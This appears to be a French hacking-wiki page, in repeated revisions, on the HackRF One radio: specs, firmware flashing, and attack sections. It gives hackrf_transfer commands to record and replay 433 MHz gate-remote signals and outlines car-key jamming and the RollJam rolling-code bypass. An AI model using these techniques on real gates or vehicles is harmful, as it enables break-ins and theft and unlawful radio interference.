Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (&amp;lt;b&amp;gt;hackrf_one_usb.bin&amp;lt;/b&amp;gt;) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.bin&amp;lt;/b&amp;gt;. Si vous compilez à partir des sources, le fichier s'appellera &amp;lt;b&amp;gt;hackrf_usb.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Lorsque vous écrivez une image de micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, vous devrez peut-être réinitialiser le dispositif &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant &amp;lt;b&amp;gt;HACKRF_ERROR_NOT_FOUND&amp;lt;/b&amp;gt;, il s'agit souvent d'un &amp;lt;b&amp;gt;problème de permissions&amp;lt;/b&amp;gt; dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt; a été endommagé ou si vous programmez un &amp;lt;b&amp;gt;HackRF fait maison&amp;lt;/b&amp;gt; pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus.&lt;br /&gt;
&lt;br /&gt;
Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93560</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93560"/>
		<updated>2023-12-02T15:51:25Z</updated>

		<summary type="html">&lt;p&gt;OldNeib : /* Mise à jour du SPI Flash Firmware */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== HackRF One ==&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; ([https://greatscottgadgets.com/hackrf/one/ Great Scott Gadgets]) est une radio définie par logiciel (&amp;lt;b&amp;gt;SDR&amp;lt;/b&amp;gt;) capable d'émettre ou de recevoir des signaux radio de 1 MHz à 6 GHz.&lt;br /&gt;
 &lt;br /&gt;
Il a été conçu pour permettre le test et le développement de technologies radio modernes et de nouvelle génération.&lt;br /&gt;
Le &amp;lt;b&amp;gt;HackRF One&amp;lt;/b&amp;gt; est un matériel &amp;lt;b&amp;gt;open source&amp;lt;/b&amp;gt; qui peut être utilisée en tant que périphérique USB ou programmée pour un fonctionnement autonome. &lt;br /&gt;
&lt;br /&gt;
*Fréquence de fonctionnement de 1 MHz à 6 GHz&lt;br /&gt;
*Émetteur-récepteur semi-duplex&lt;br /&gt;
*Jusqu'à 20 millions d'échantillons par seconde&lt;br /&gt;
*Échantillons en quadrature de 8 bits (8 bits I et 8 bits Q)&lt;br /&gt;
*Compatible avec GNU Radio, SDR#, etc.&lt;br /&gt;
*Gain RX et TX et filtre en bande de base configurables par logiciel&lt;br /&gt;
*Alimentation du port d'antenne contrôlée par logiciel (50 mA à 3,3 V)&lt;br /&gt;
*Connecteur d'antenne SMA femelle&lt;br /&gt;
*Entrée et sortie d'horloge SMA femelle pour la synchronisation&lt;br /&gt;
*Boutons pratiques pour la programmation&lt;br /&gt;
*En-têtes de broches internes pour l'expansion&lt;br /&gt;
*USB 2.0 haut débit&lt;br /&gt;
*alimenté par USB&lt;br /&gt;
&lt;br /&gt;
=== Commandes ===&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_info :&amp;lt;/b&amp;gt; informations de version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hackrf_transfer :&amp;lt;/b&amp;gt; capturer, transmettre&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_debug :&amp;lt;/b&amp;gt; commande de debug du hackRF One&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_sweep :&amp;lt;/b&amp;gt; balayer un champ de fréquences et l'analyser&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_spiflash :&amp;lt;/b&amp;gt; mettre à jour le firmware&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;hackrf_cpldjtag :&amp;lt;/b&amp;gt; mettre à jour le cpld&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
 $ apt install hackrf&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du micrologiciel ===&lt;br /&gt;
Les appareils &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; sont livrés avec un micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;. Le micrologiciel peut être mis à jour à l'aide d'un câble USB et d'un ordinateur hôte.&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du SPI Flash Firmware ===&lt;br /&gt;
 $ hackrf_spiflash -w hackrf_one_usb.bin&lt;br /&gt;
&lt;br /&gt;
Vous pouvez trouver le binaire du firmware (&amp;lt;b&amp;gt;hackrf_one_usb.bin&amp;lt;/b&amp;gt;) dans le répertoire firmware-bin de [https://github.com/mossmann/hackrf/releases/latest la dernière version] ou vous pouvez compiler le vôtre à partir [https://github.com/mossmann/hackrf/tree/master/firmware des sources]. Pour &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.bin&amp;lt;/b&amp;gt;. Si vous compilez à partir des sources, le fichier s'appellera &amp;lt;b&amp;gt;hackrf_usb.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Lorsque vous écrivez une image de micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, veillez à sélectionner un micrologiciel dont le nom de fichier se termine par &amp;lt;b&amp;gt;.bin&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Après avoir écrit le micrologiciel sur la mémoire flash &amp;lt;b&amp;gt;SPI&amp;lt;/b&amp;gt;, vous devrez peut-être réinitialiser le dispositif &amp;lt;b&amp;gt;HackRF&amp;lt;/b&amp;gt; en appuyant sur le bouton &amp;lt;b&amp;gt;RESET&amp;lt;/b&amp;gt; ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
Si vous obtenez une erreur mentionnant &amp;lt;b&amp;gt;HACKRF_ERROR_NOT_FOUND&amp;lt;/b&amp;gt;, il s'agit souvent d'un &amp;lt;b&amp;gt;problème de permissions&amp;lt;/b&amp;gt; dans votre système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier si la mise à jour a été correctement installée:&lt;br /&gt;
 $ hackrf_info&lt;br /&gt;
 hackrf_info version: unknown&lt;br /&gt;
 libhackrf version: unknown (0.5)&lt;br /&gt;
 Found HackRF&lt;br /&gt;
 Index: 0&lt;br /&gt;
 Serial number: 000000000000000057b068dc22451163&lt;br /&gt;
 Board ID Number: 2 (HackRF One)&lt;br /&gt;
 Firmware Version: 2018.01.1 (API:1.02)&lt;br /&gt;
 Part ID Number: 0xa000cb3c 0x00724357&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: Récupération du SPI Flash Firmware ===&lt;br /&gt;
Si le firmware installé dans la mémoire flash SPI a été endommagé ou si vous programmez un HackRF fait maison pour la première fois, vous ne pourrez pas utiliser immédiatement le programme &amp;lt;b&amp;gt;hackrf_spiflash&amp;lt;/b&amp;gt; comme indiqué dans la procédure ci-dessus. Suivez plutôt les étapes suivantes :&lt;br /&gt;
*Suivez les &amp;lt;b&amp;gt;instructions de démarrage DFU&amp;lt;/b&amp;gt; pour démarrer le HackRF en mode de démarrage DFU.&lt;br /&gt;
*Tapez &amp;lt;b&amp;gt;dfu-util --device 1fc9:000c --alt 0 --download hackrf_one_usb.dfu&amp;lt;/b&amp;gt; pour charger le micrologiciel d'une version dans la RAM. Si vous avez un &amp;lt;b&amp;gt;Jawbreaker&amp;lt;/b&amp;gt;, utilisez &amp;lt;b&amp;gt;hackrf_jawbreaker_usb.dfu&amp;lt;/b&amp;gt; à la place. Alternativement, utilisez &amp;lt;b&amp;gt;make -e BOARD=HACKRF_ONE RUN_FROM=RAM&amp;lt;/b&amp;gt; pour charger le firmware en RAM et le démarrer.&lt;br /&gt;
*&amp;lt;b&amp;gt;Suivez la procédure de mise à jour du micrologiciel SPI flash&amp;lt;/b&amp;gt; ci-dessus pour écrire l'image du micrologiciel &amp;quot;.bin&amp;quot; dans la mémoire flash SPI.&lt;br /&gt;
&lt;br /&gt;
=== Si nécessaire seulement: DFU Boot ===&lt;br /&gt;
Le mode de démarrage DFU n'est normalement nécessaire que si le micrologiciel ne fonctionne pas correctement ou n'a jamais été installé.&lt;br /&gt;
&lt;br /&gt;
Le microcontrôleur LPC4330 du HackRF est capable de démarrer à partir de plusieurs sources de code différentes. Par défaut, HackRF démarre à partir de la mémoire flash SPI (SPIFI). Il est également possible de démarrer HackRF en mode DFU (USB). En mode de démarrage DFU, le HackRF procède à une énumération via USB, attend que le code soit fourni à l'aide de la norme DFU (Device Firmware Update) via USB, puis exécute ce code à partir de la RAM. Le SPIFI est normalement inutilisé et non modifié en mode DFU.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le HackRF One en mode DFU, maintenez le bouton DFU enfoncé tout en l'allumant ou en appuyant sur le bouton RESET et en le relâchant. Relâchez le bouton DFU lorsque le voyant 3V3 s'allume. Le voyant 1V8 doit rester éteint. À ce stade, le HackRF One est prêt à recevoir le micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Pour démarrer le Jawbreaker en mode DFU, court-circuitez deux broches sur l'une des en-têtes &amp;quot;BOOT&amp;quot; lorsque l'alimentation est fournie pour la première fois. Les broches qui doivent être court-circuitées sont les broches 1 et 2 de l'en-tête P32 du Jawbreaker. L'en-tête P32 est étiqueté &amp;quot;P2_8&amp;quot; sur la plupart des Jawbreaker mais peut être étiqueté &amp;quot;2&amp;quot; sur les prototypes. La broche 1 est étiquetée &amp;quot;VCC&amp;quot;. La broche 2 est la broche centrale. Après le démarrage DFU, vous devriez voir la LED VCC s'allumer et noter que la LED 1V8 ne s'allume pas. À ce stade, le Jawbreaker est prêt à recevoir un micrologiciel par USB.&lt;br /&gt;
&lt;br /&gt;
Vous ne devez utiliser qu'une image de micrologiciel dont le nom de fichier se termine par &amp;quot;.dfu&amp;quot; par DFU, et non un micrologiciel se terminant par &amp;quot;.bin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Installer DFU-Util ===&lt;br /&gt;
 $ apt install dfu-util&lt;br /&gt;
&lt;br /&gt;
Depuis les [http://dfu-util.sourceforge.net/build.html sources]:&lt;br /&gt;
 $ cd ~&lt;br /&gt;
 $ sudo apt-get build-dep dfu-util&lt;br /&gt;
 $ sudo apt-get install libusb-1.0-0-dev&lt;br /&gt;
 $ git clone git://git.code.sf.net/p/dfu-util/dfu-util&lt;br /&gt;
 $ cd dfu-util&lt;br /&gt;
 $ ./autogen.sh&lt;br /&gt;
 $ ./configure&lt;br /&gt;
 $ make&lt;br /&gt;
 $ sudo make install&lt;br /&gt;
&lt;br /&gt;
=== Mise à jour du CPLD ===&lt;br /&gt;
Les anciennes versions du firmware du HackRF (prior to release 2021.03.1) nécessitent une étape supplémentaire pour programmer un flux binaire dans le CPLD.&lt;br /&gt;
&lt;br /&gt;
Pour mettre à jour l'image du CPLD, mettez d'abord à jour le microprogramme flash SPI, libhackrf et hackrf-tools.&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
 $ hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf&lt;br /&gt;
&lt;br /&gt;
Trois LEDs devraient commencer à clignoter. Cela indique que le CPLD a été programmé avec succès.&lt;br /&gt;
Réinitialisez le dispositif en appuyant sur le bouton RESET ou en le débranchant et en le rebranchant.&lt;br /&gt;
&lt;br /&gt;
== Replay Attaque ==&lt;br /&gt;
=== Portail ===&lt;br /&gt;
Nous devons déterminer sur quelle fréquence la télécommande va communiquer (autours des 433Mhz).&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;b&amp;gt;GQRX&amp;lt;/b&amp;gt;, nous allons pouvoir vérifier et ajuster notre fréquence d'écoute. Lorsque nous activons la télécommande, nous devons observer une variation du signal sur la fréquence écoutée.&lt;br /&gt;
&lt;br /&gt;
==== Enregistrement ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -r file&lt;br /&gt;
&lt;br /&gt;
==== Émission ====&lt;br /&gt;
 $ hackrf_transfer -s 2 -f 433000000 -t file -a 1 -x 24&lt;br /&gt;
&lt;br /&gt;
==== Options ====&lt;br /&gt;
*&amp;lt;b&amp;gt;-s :&amp;lt;/b&amp;gt; Taux d'echantillons en MHz&lt;br /&gt;
*&amp;lt;b&amp;gt;-f :&amp;lt;/b&amp;gt; Fréquence exacte enregistrée ou diffusée en Hz&lt;br /&gt;
*&amp;lt;b&amp;gt;-r :&amp;lt;/b&amp;gt; Nom du fichier à l'enregistrement &lt;br /&gt;
*&amp;lt;b&amp;gt;-t :&amp;lt;/b&amp;gt; Nom du fichier à la lecture&lt;br /&gt;
*&amp;lt;b&amp;gt;-a :&amp;lt;/b&amp;gt; Amplification&lt;br /&gt;
*&amp;lt;b&amp;gt;-x :&amp;lt;/b&amp;gt; Gain entre 0 et 47 dB (en Décibel)&lt;br /&gt;
*&amp;lt;b&amp;gt;-h :&amp;lt;/b&amp;gt; Pour le menu complet des options.&lt;br /&gt;
&lt;br /&gt;
=== Talkie-walkie ===&lt;br /&gt;
Il s'agit exactement du même procédé vu ci-dessus pour les portail.&lt;br /&gt;
&lt;br /&gt;
== Car Key Replay Attack ==&lt;br /&gt;
Pour ne pas que les voitures soit vulnérables à une attaque simple de &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt;, les constructeur ont équipé les nouvelles voitures d'un système de code roulant (&amp;lt;b&amp;gt;rolling code system&amp;lt;/b&amp;gt;) chaque fois que vous appuyez sur le bouton de déverrouillage, la télécommande utilise un algorithme pour générer un nouveau code ce qui rend donc les ancien siganux inutilisables, un simple &amp;lt;b&amp;gt;Replay Attack&amp;lt;/b&amp;gt; comme celui présenté ci-dessus n'est donc pas impossible.&lt;br /&gt;
&lt;br /&gt;
=== Étude du signal avec URH ===&lt;br /&gt;
[https://github.com/jopohl/urh URH]&lt;br /&gt;
&lt;br /&gt;
== Radio Jamming ==&lt;br /&gt;
Le jamming est une technique de brouillage visant à perturber les fréquences comportant des informations, en les submergeant avec du bruit. C'est &amp;lt;b&amp;gt;le rapport signal sur bruit&amp;lt;/b&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Car Key ===&lt;br /&gt;
En émettant du bruit sur la fréquence utilisé par une clé de voiture, le signal se retrouvera ainsi perdu et ne pourra ainsi pas être reconnu.&lt;br /&gt;
&lt;br /&gt;
=== RollJam Attack ===&lt;br /&gt;
Méthodologie de l’attaque :&lt;br /&gt;
*Un brouillage radio est lancé sur la fréquence 433.92 qui est la fréquence de déverrouillage de notre voiture.&lt;br /&gt;
*La victime tente de déverrouiller une première fois la voiture en appuyant sur la clef, et donc en émettant un signal.&lt;br /&gt;
*Le signal est capturé et enregistré.&lt;br /&gt;
*La victime tente donc une deuxième fois de déverrouiller la voiture, toujours sans réussite.&lt;br /&gt;
*Le brouillage s’arrête et le premier signal est lancé ce qui déverrouille la voiture.&lt;br /&gt;
&lt;br /&gt;
Le 2eme signal (&amp;lt;b&amp;gt;Rolling Code&amp;lt;/b&amp;gt;) émis par la victime est enregistré. Comme la voiture a reçu uniquement le premier signal, le rolling code du second signal est donc valide, l'attaquant pourra donc déverrouiller la voiture par la suite.&lt;br /&gt;
&lt;br /&gt;
=== Jamming Wifi ===&lt;br /&gt;
&lt;br /&gt;
== Portapack ==&lt;br /&gt;
&lt;br /&gt;
== SSTV ==&lt;br /&gt;
&lt;br /&gt;
== Tempest SDR ==&lt;br /&gt;
&lt;br /&gt;
== GPS Spoofing ==&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
*https://greatscottgadgets.com/hackrf/one/&lt;br /&gt;
*https://hackrf.readthedocs.io/en/latest/index.html&lt;br /&gt;
*https://github.com/PierreAdams/HackRF-One-French&lt;/div&gt;</summary>
		<author><name>OldNeib</name></author>
	</entry>
	<entry>
		<id>https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93559</id>
		<title>Tools:HackRF One</title>
		<link rel="alternate" type="text/html" href="https://wiki.hackbbs.org/index.php?title=Tools:HackRF_One&amp;diff=93559"/>
		<updated>2023-12-02T15:49:22Z</updated>

